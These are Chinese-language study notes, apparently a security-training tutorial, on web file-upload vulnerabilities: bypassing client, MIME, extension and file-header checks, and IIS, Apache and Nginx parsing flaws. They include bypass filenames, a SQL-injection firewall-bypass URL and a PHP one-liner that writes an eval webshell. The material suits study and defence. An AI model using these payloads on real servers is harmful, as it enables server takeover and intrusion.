繞過漏洞危害_檔案上傳漏洞學習筆記—原理、危害、解析、繞過、編輯器、伺服器...

更多教程歡迎關注公衆号：掌控安全EDU

檔案上傳解析漏洞

檔案上傳漏洞

檔案上傳漏洞是指網絡攻擊者上傳了一個可執行的檔案到伺服器并執行。這裡上傳的檔案可以是木馬，病毒，惡意腳本或者WebShell等。

由于程式員在對使用者檔案上傳部分的控制不足或者處理缺陷，而導緻使用者可以越過其本身權限向伺服器上傳可執行的動态腳本檔案。

打個比方來說，如果你使用 windows 伺服器并且以 asp 作為伺服器端的動态網站環境，那麼在你的網站的上傳功能處，就一定不能讓使用者上傳 asp 類型的檔案，否則他上傳一個 webshell，你伺服器上的檔案就可以被他任意更改了。是以檔案上傳漏洞帶來的危害常常是毀滅性的，Apache、Tomcat、Nginx等都曝出過檔案上傳漏洞。

檔案上傳漏洞危害

上傳漏洞與SQL注入或 XSS相比，其風險更大，如果 Web應用程式存在上傳漏洞，攻擊者上傳的檔案是Web腳本語言，伺服器的Web容器解釋并執行了使用者上傳的腳本，導緻代碼執行。如果上傳的檔案是Flash的政策檔案crossdomain.xml，黑客用以控制Flash在該域下的行為。

如果上傳的檔案是病毒、木馬檔案，黑客用以誘騙使用者或者管理者下載下傳執行。如果上傳的檔案是釣魚圖檔或為包含了腳本的圖檔，在某些版本的浏覽器中會被作為腳本執行，被用于釣魚和欺詐。甚至攻擊者可以直接上傳一個webshell到伺服器上 完全控制系統或緻使系統癱瘓。

檔案上傳漏洞原理

大部分的網站和應用系統都有上傳功能，而程式員在開發任意檔案上傳功能時，并未考慮檔案格式字尾的合法性校驗或者是否隻在前端通過js進行字尾檢驗。

這時攻擊者可以上傳一個與網站腳本語言相對應的惡意代碼動态腳本，例如(jsp、asp、php、aspx檔案字尾)到伺服器上，進而通路這些惡意腳本中包含的惡意代碼，進行動态解析最終達到執行惡意代碼的效果，進一步影響伺服器安全。

檔案上傳漏洞滿足條件

1. 檔案上傳功能能正常使用

2. 上傳檔案路徑可知

3. 上傳檔案可以被通路

4. 上傳檔案可以被執行或被包含

檔案上傳資料包解析

Content-Length：即上傳内容大小

MAX_FILE_SIZE：即上傳内容的最大長度

Filename：即上傳檔案名

Content-Type：即上傳檔案類型

請求包中的亂碼字段，即是所上傳檔案的内容

檔案上傳漏洞繞過技巧

1、用戶端校驗(js檢測)：

一般是在網頁上寫一段Js腳本，用Js去檢測，校驗上傳檔案的字尾名的合法性問題。

在檢查擴充名是否合法的時候，有兩種政策：白名單政策和黑名單政策。

判斷方式：在浏覽加載檔案，但還未點選上傳按鈕時便彈出對話框，内容如：隻允許上傳.jpg/.jpeg/.png字尾名的檔案，而此時并沒有發送資料包，是以可以通過抓包來判斷，如果彈出不準上傳，但是沒有抓到資料包，那麼就是前端驗證。其實，也可以直接檢視網頁源代碼，源代碼中如果沒有js前端效驗，那麼就一定是後端效驗喽。

繞過方法：這個限制是在用戶端進行的，這種限制形同虛設。傳正常檔案改資料包就可以繞過，甚至關閉JS都可以嘗試繞過。

黑白名單機制：

黑名單：不允許上傳什麼，檔案擴充名在黑名單中的為不合法。

白名單：隻允許上傳什麼，檔案擴充名不在白名單中的均為不合法。

白名單比黑名單更安全

2、服務端檢測：

檢查Content-Type (内容類型)

檢查字尾 (檢查字尾是主流)

檢查檔案頭

繞過方法：假如将webshell代碼檔案字尾改為其它被伺服器認為是安全的字尾，再通過解析漏洞讓其按照腳本檔案進行解析，就達到了最終的目的。

服務端MIME檢測繞過(Content-Type檢測)

HTTP協定規定了上傳資源的時候在Header中加上一項檔案的MIMETYPE，來識别檔案類型，這個動作是由浏覽器完成的，服務端可以檢查此類型不過這仍然是不安全的,因為HTTP header可以被發出者或者中間人任意的修改，不過加上一層防護也是可以有一定效果的。

繞過方法：使用burp代理，修改Content-Type的參數。

text/plain(純文字)

text/html(HTML文檔)

text/javascript(js代碼)

application/xhtml+xml(XHTML文檔)

image/gif(GIF圖像)

image/jpeg(JPEG圖像)

image/png(PNG圖像)

video/mpeg(MPEG動畫)

application/octet-stream(二進制資料)

application/pdf(PDF文檔)

application/(程式設計語言) 該種語言的代碼

application/msword(Microsoft Word檔案)

message/rfc822(RFC 822形式)

multipart/alternative(HTML郵件的HTML形式和純文字形式，相同内容使用不同形式表示)

application/x-www-form-urlencoded(POST方法送出的表單)

multipart/form-data(POST送出時伴随檔案上傳的表單)

服務端擴充名檢測繞過：

在檔案被上傳到服務端的時候，對于檔案名的擴充名進行檢查，如果不合法，則拒絕這次上傳。在檢查擴充名是否合法的時候，有兩種政策：黑名單政策和白名單政策。

白名單政策是更加安全的，通過限制上傳類型為隻有我們接受的類型，可以較好的保證安全，因為黑名單我們可以使用各種方法來進行注入和突破。

繞過方法：

檔案名大小寫繞過，例如Php，AsP等類似的檔案名

字尾名字雙寫嵌套，例如pphphp，asaspp等

可以利用系統會對一些特殊檔案名做預設修改的系統特性繞過

可以利用asp程式中的漏洞，使用截斷字元繞過

可以利用不再黑名單清單中卻能夠成功執行的同義字尾名繞過黑名單的限制。

可以利用解析/包含漏洞配合上傳一個代碼注入過的白名單檔案繞過。

1.老版本的IIS中的目錄解析漏洞，如果網站目錄中有一個 /.asp/目錄，那麼此目錄下面的一切内容都會被當作asp腳本來解析

2.老闆本的IIS中的分号漏洞：IIS在解析檔案名的時候可能将分号後面的内容丢棄，那麼我們可以在上傳的時候給後面加入分号内容來避免黑名單過濾，如 a.asp;jpg

3.舊版Windows Server中存在空格和dot漏洞類似于 a.php. 和 a.php[空格] 這樣的檔案名存儲後會被windows去掉點和空格，進而使得加上這兩個東西可以突破過濾，成功上傳，并且被當作php代碼來執行

4.nginx空位元組漏洞 xxx.jpg%00.php 這樣的檔案名會被解析為php代碼運作

5.apache的解析漏洞，上傳如a.php.rar a.php.gif 類型的檔案名，可以避免對于php檔案的過濾機制，但是由于apache在解析檔案名的時候是從右向左讀，如果遇到不能識别的擴充名則跳過，rar等擴充名是apache不能識别的，是以就會直接将類型識别為php，進而達到了注入php代碼的目的

服務端檔案頭内容檢測繞過：

這種方法利用的是每一個特定類型的檔案都會有不太一樣的開頭或者标志位。可以通過比如php的exif_imagetype()函數來檢測。

通過檢查頭幾位位元組，可以分辨是否是圖檔檔案。

不同類型的檔案都有對應的檔案類型簽名(也叫類型幻數，簡稱檔案頭)，比如，PNG 的檔案頭為十六進制的 89 50 4E 47 0D 0A 1A 0A；GIF 為 47 49 46 38 37 61、JPG 為 FF D8 FF E0。

通過在檔案中添加正常檔案的辨別或其他關鍵字元繞過。

給上傳腳本加上相應的幻數頭位元組就可以，php引擎會将 <?之前的内容當作html文本 ，不解析直接跳過，後面的代碼仍然能夠得到執行。

其他類型的二進制檔案，也有相應的頭位元組。

檔案加載檢測繞過，針對渲染加載測試。

代碼注入繞過，針對二次渲染測試。

3、文本編輯器的漏洞

很多網站為了節省開發成本，直接使用現成的文本編輯器，如fckeditor，這種編輯器經常在網上被爆出漏洞，可以對這些漏洞進行利用。

3.1、檔案解析漏洞

攻擊者在利用上傳漏洞時，通常會與Web容器的解析漏洞配合在一起。是以我們首先來了解一下解析漏洞，這樣才能更深入地了解上傳漏洞，并加以防範

常見的Web容器有ⅡS、Apache、Nginx、Tomcat等，下面主要講IIS、Apache、Nginx容器。

3.2、伺服器解析漏洞

Apache1.x 2.x解析漏洞

Apache 解析檔案的規則是從右到左開始判斷解析,如果字尾名為不可識别檔案解析,就再往左解析，直到碰到認識的擴充名為止，如果都不認識，則會暴露其源代碼。

這種方法可以繞過基于黑名單的檢查。比如test.php.owf.rar。".owf"和".rar" 這兩種字尾是apache不可識别解析,apache就會把wooyun.php.owf.rar解析成php。

若一個檔案名abc.x1.x2.x3，Apache會從x3開始解析，如果x3不是一個能解析的擴充名(mime.types檔案裡面沒有定義的擴充名)，就往前解析x2以此往複，直到能遇到一個能解析的檔案名為止，如果都不認識就暴露源碼。

如果上傳的檔案名使我們可以定義的，那麼我們可以完全上傳一個xxx.php.abc這樣名字的webshell，Apache仍然會當做PHP來解析。

IIS 5.x/6.0解析漏洞

asa cer cdx 也會被解析

IIS6.0除了将ASP字尾當做ASP進行解析的同時，當檔案字尾名字為.asa、.cer和 .cdx 也會當做asp去解析，這是因為IIS6.0在應用程式擴充中預設設定了.asa、.cer和 .cdx 都會調用 asp.dll。

IIS 6.0在處理含有特殊符号的檔案路徑時會出現邏輯錯誤，進而造成檔案解析漏洞。IIS5.1和IIS7.5無此漏洞。

這一漏洞有兩種完全不同的利用方式檔案解析和目錄解析：

1. 檔案解析：分号後面的不被解析

test.asp;1.jpg 或者test.asp;.jpg 他将當做asp進行解析(特殊符号是";")。

在IIS6.0下，分号後面的不被解析。

應用程式在驗證檔案字尾的時候是驗證檔案名最後的字串，如：text.asp;1.jpg，是圖檔，但是在IIS6.0裡解析的時候，是忽略掉分号後面的字串，直接解析為test.asp。

2. 目錄解析：在檔案夾為.asp和 .asa内的所有檔案被當成解析檔案解析

test.asp/1.jpg 他将當做asp進行解析(特殊符号是"/")。

IIS6.0 在解析 asp 時，如果任意目錄名為 .asp、.asa 的檔案夾，其目錄内的任何擴充名的檔案都被IIS當作asp檔案來解析并執行。

建立目錄test.asp，此目錄下的檔案将被當作asp檔案來執行。如果可以控制上傳檔案夾路徑,就可以不管你上傳後你的圖檔改不改名都能拿shell了。

IIS6.0解析原理：

請求 /test.asp;1.jpg

N1:從頭部查找,查找 "."号,獲得 .asp;1.jpg。

N2:查找";"号,如果有則記憶體截斷。

N3:查找"/",如果有則記憶體截斷。

最終,将保留下來 .asp 字元串,從META_SCRIPT_MAP腳本映射表裡與擴充名比對對比,并回報給了asp.dll處理。

IIS7.0/7.5 對php解析有所類似于 Nginx 的解析漏洞。隻要對任意檔案名在url後面追加上 字元串 / 任意檔案名.php 就會按照php去解析。

舉個栗子：把一下代碼做成圖檔馬text.jpg。

上傳test.jpg，然後通路test.jpg/.php或test.jpg/abc.php目前目錄下就會生成一句話木馬 123.php。

IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

在某些使用Nginx的網站中，通路http://www.xxx.com/1.jpg/1.php，此時的1.jpg會被當作PHP腳本來解析，此時1.php是不存在的，卻可以看到1.jpg已經按照PHP腳本來解析了，問題就出現在這個"1.PHP"上(1.php并不是特定的，可以随機命名)。這就意味着攻擊者可以上傳合法的"圖檔"(圖檔木馬)，然後在URL後面加上"/xxx.php"，就可以獲得網站的WebShell。

這不是Nginx特有的漏洞，在IIS7.0、IIS7.5、Lighttpd等Web容器中也經常會出現這樣的解析漏洞。

這個解析漏洞其實是PHP CGI的漏洞，在PHP的配置檔案中有一個關鍵的選項cgi.fix_pathinfo在本機中位于C:\wamp\bin\php\php5.3.10\php.ini，預設是開啟的，當URL中有不存在的檔案，PHP就會向前遞歸解析。

Nginx解析原理：

以下三個解釋，那個好了解就了解那個。

解釋一：

nginx在接受請求後會得到一個位址URL/abc.jpg/c.php

在經過location指令，将請求交給fastcgi處理，nginx為其設定環境變量SCRIPT_FILENAME,内容為/abc.jpg/c.php

後端的fastcgi在接受到該選項時，會根據PHP的fix_pathinfo配置決定是否對SCRIPT_FILENAME進行額外的處理，一般情況下如果不對fix_pathinfo進行設定将影響使用PATH_INFO進行路由選擇的應用，

是以該選項一般配置開啟。php通過該選項之後将查找其中真正的腳本檔案名字，查找的方式也是檢視檔案是否存在，這個時候将分離SCRIPT_FILENAME和PATH_INFO分别為/scripts/abc.jpg和c.php

最後，以/scripts/abc.jpg作為此次請求需要執行的腳本，攻擊者就可以實作讓nginx以php來解析任何類型的檔案了。

解釋二：

Nginx預設是以CGI的方式支援PHP解析的，普遍的做法是在Nginx配置檔案中通過正則比對設SCRIPT_FILENAME。

當通路www.xx.com/phpinfo.jpg/1.php這個URL時，$fastcgi_script_name會被設定"phpinfo.jpg/1.php"，然後構造成SCRIPT_FILENAME(絕對路徑)傳遞給PHP CGI,如果開啟了cgi.fix_pathinfo=1選項(這個預設值就是1，是以沒有設定過就是開啟)，那麼就會觸發在PHP中的如下邏輯：

PHP會認為SCRIPT_FILENAME(絕對路徑)是phpinfo.jpg，而1.php是PATH_INFO，是以就會phpinfo.jpg作為PHP檔案來解析了。也是一個邏輯問題，是以說我們隻需要在正常的.jpg後面加/.php就可以成功的繞過解析。

解釋三：

IIS和Nginx在這一點上是一樣的，一看到URL中檔案字尾是.php，便無論該檔案是否存在，都直接交給php處理，而php又預設開啟"cgi.fix_pathinfo"，會對檔案路徑進行"修理"，何謂"修理"？舉個例子，當php遇到檔案路徑"/aaa.xxx/bbb.yyy/ccc.zzz"時，若"/aaa.xxx/bbb.yyy/ccc.zzz"不存在，則會去掉最後的"/ccc.zzz"，然後判斷"/aaa.xxx/bbb.yyy"是否存在，若存在，則把"/aaa.xxx/bbb.yyy"當做檔案"/aaa.xxx/bbb.yyy/ccc.zzz"，若"/aaa.xxx/bbb.yyy"仍不存在，則繼續去掉"/bbb.yyy"，以此類推。

若有檔案test.jpg，通路時在其後加/.php，便可以讓IIS把"test.jpg/.php"交給php，php"修理"檔案路徑"test.jpg/.php"得到"test.jpg"，該檔案存在，便把該檔案作為php程式執行了

asp沒有"cgi.fix_pathinfo"，是以不存在這一問題。

在預設Fast-CGI開啟狀況下,上傳一個名字為xx.jpg，内容為：

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的檔案，然後通路xx.jpg/.php或xxx.jpg/1.php,在這個目錄下就會生成一句話木馬 shell.php檔案。

Nginx <8.03 %00空位元組執行php漏洞

Nginx如下版本：

0.5.*,0.6.*,0.7 <= 0.7.65,0.8 <= 0.8.37

在使用PHP-FastCGI執行php的時候，URL裡面在遇到%00空位元組時與FastCGI處理不一緻，導緻可在非php檔案中嵌入php代碼，通過通路url+%00.php來執行其中的php代碼。如：http://local/robots.txt%00.php會把robots.txt檔案當作php來執行。

PHP的path_info

Path_info是什麼？

Path_info是PHP的一種路由模式，需要PHP.ini中設定cgi.fix_pathinfo=1才能開啟該路由模式。該路由模式的URL格式為http://www.xxx.com/index.php/子產品/方法。

Path_info的運作機制

Apache容器

那在Apahce容器下，Path_info有什麼用呢？

很多防火牆為了提高效率，遇到js,png,jpg等格式的字尾時，則不檢測後面參數中是否有非法資料，是以我們可以構造http://www.admintony.com/index.php/aaa.js?id=union select 1,2,3,4來繞過防火牆進行注入，當然也可以繞過防火牆進行代碼執行、指令執行等操作

IIS和Nginx容器

在IIS和Nginx容器下，相比Apache少了一步對檔案字尾的檢測，是以産生了著名的安全問題CGI解析漏洞(也有稱Nginx解析漏洞)。

其漏洞的利用方式就是上傳一個含Webshell的圖檔，然後在圖檔位址後面加上/a.php使圖檔當作PHP解析。

比如 123.png/1.php,接收URL後，提取URL中請求的檔案1.php，發現不存在就檢查是否存在上一級目錄，存在就把上級目錄當做請求檔案，再判斷檔案是否存在，檔案123.png存在，然後就把123.png當做PHP解析執行，其中少了再次檢測存在檔案的字尾名的操作就直接當做請求最開始檔案的類型解析了。